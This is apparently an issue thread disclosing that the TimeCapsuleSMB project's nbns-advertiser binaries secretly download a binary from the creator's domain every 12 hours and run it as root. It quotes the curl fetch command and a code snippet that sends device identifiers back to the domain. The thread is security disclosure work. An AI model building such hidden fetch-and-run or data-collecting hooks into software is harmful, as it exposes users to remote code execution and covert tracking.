TimeCapsuleSMB periodically downloads and executes arbitrary code as root

[boushe117]

Undocumented and absent from the source code, a feature is present in the nbns-advertiser binaries under bin/, which are copied and run on the device when it is set up.

Every 12 hours the binary will execute curl and download a binary from the creator's domain, chmod it and execute it as root.

The (currently) downloaded binary appears to send the device serial number back to the same domain.

What is the purpose of this hidden functionality? It has been present in the binaries since May 19th.

[netraan]

that's very strange

[pblahaorcl]

The nbns-advertiser component appears to make the following request:

/usr/bin/curl -fLsS --max-time 60 -o <binary_path> http://timecapsulesmb.jamesyc.com/downloads/bin/heartbeat6
The downloaded heartbeat6 binary appears to collect and transmit several deployment-specific attributes back to the remote server, including the router ID, release tag, device model, device identifier, device name, OS version, uptime, and heartbeat reason. This is reflected in the following code:

written = snprintf(
    json, json_cap,
    "{\"schema_version\":1,\"heartbeat_id\":\"%s\","
    "\"router_id\":\"%s\",\"agent_version\":\"1\","
    "\"deploy_release_tag\":\"%s\",\"device_model\":\"%s\","
    "\"device_syap\":\"%s\",\"device_name\":\"%s\","
    "\"device_os_version\":\"%s\",\"uptime_sec\":%s,"
    "\"reason\":\"%s\"}\n",
    esc_heartbeat, esc_router, esc_release, esc_model, esc_syap,
    esc_name, esc_os, uptime, esc_reason);

This is highly concerning from a security and supply-chain perspective. The executable is retrieved from an external HTTP endpoint and is not present in, or auditable from, this repository. As a result, the behavior of the downloaded binary cannot be verified or reviewed as part of the source code.

More importantly, the current mechanism appears to provide the remote endpoint with environment- and deployment-specific information. Because the executable is fetched dynamically, there is also a potential avenue for the server-side content to be changed independently of the repository, allowing additional functionality or data collection to be introduced without a corresponding source-code change or review.

https://gist.github.com/pblahaorcl/22398dae72edd47165e7b164e43d7f2b